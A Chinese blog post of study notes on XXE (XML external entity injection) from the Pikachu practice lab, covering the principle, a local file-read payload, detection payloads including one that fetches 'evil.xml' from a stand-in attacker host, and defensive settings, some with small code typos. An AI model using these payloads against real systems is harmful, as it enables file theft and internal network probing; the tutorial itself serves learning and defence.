pikachu——XXE

XXE注入定义

XXE注入,XML外部实体注入。通过XML实体,“SYSTEM”关键词导致XML解析器可以从本地文件或者远程URI中读取数据。所以攻击者可以通过XML实体传递自己构造的恶意值,使处理程序解析它。当引用外部实体时,通过构造恶意内容,可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。

XXE漏洞原理

既然XML可以从外部读取DTD文件,那我们自然地想到 了如果将路径换成另一个路径,那么服务器在解析这个XML的时候就会把那个文件的内容赋值给SYSTEM前面的根元素中,只要我们在XML中让前面的根元素的内容显示出来,不就可以读取那个文件的内容了。这就造成了一个任意文件读取漏洞。

xxe漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件

那如果我们指向的是一个内网主机的端口呢?是否会给出错误信息,我们是不是可以从错误信息上来判断内网主机这个端口是否开放,这就造成了一个内部端口被探测的问题。另外,一般来说,服务器解析XML有两种方式,一种是一次性将整个XML加载进内存中,进行解析;另一种是一部分一部分的、“流式”地加载、解析。如果我们递归地调用XML定义,一次性调用巨量的定义,那么服务器的内存就会被消耗完,造成了拒绝服务攻击。

任意文件读取

payload:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE name [
<!ENTITY xxe SYSTEM "file:///D://testr.txt"> 
]>
<name>&xxe;</name>

 

判断是否存在XXE漏洞

(1)检测XML是否会被解析

<?xml version=”1.0” encoding=”UTF-8”?> 

<!DOCTYPE ANY [ 

<!ENTITY shit “this is shit”> 

]> 

<root>&shit;</root>

如果$shit;变成了”this is shit”,那就继续第二步。

(2)检测服务器是否支持外部实体:

<?xml version=”1.0” encoding=”UTF-8”?> 

<!DOCTYPE ANY [ 

<!ENTITY % shit SYSTEM “http://youhost/evil.xml”>

%shit; 

]>

通过查看自己服务器上的日志来判断,看目标服务器是否向你的服务器发了一条请求evil.xml的HTTP request。

(3)如果上面两步都支持,那么就看能否回显。如果能回显,就可以直接使用外部实体的方式进行攻击。当然有时候服务器会不支持一般实体的引用,也就是在DTD之外无法引用实体,如果这样的话,只能使用Blind XXE攻击。

(4)如果不能回显,使用Blind XXE攻击方法。

防御XXE

(1)使用开发语言提供的禁用外部实体的方法
复制代码
PHP:
libxml_disable_entity_loader(true);
JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newlnstance();
dbf.setExpandEntityReferences(false);
Python:
from lxml import etree
xmlData=etree.parse(xmlSource,etree.XMLParser(resolve_entities=false))
复制代码
(2)过滤用户提交的XML数据
过滤关键字:<\!DOCTYPE和</!ENTITY,或者SYSTEM和PUBLIC
(3)不允许XML中含有自己定义的DTD
posted @ 2021-09-28 19:46  学安全的小白  阅读(594)  评论(0编辑  收藏  举报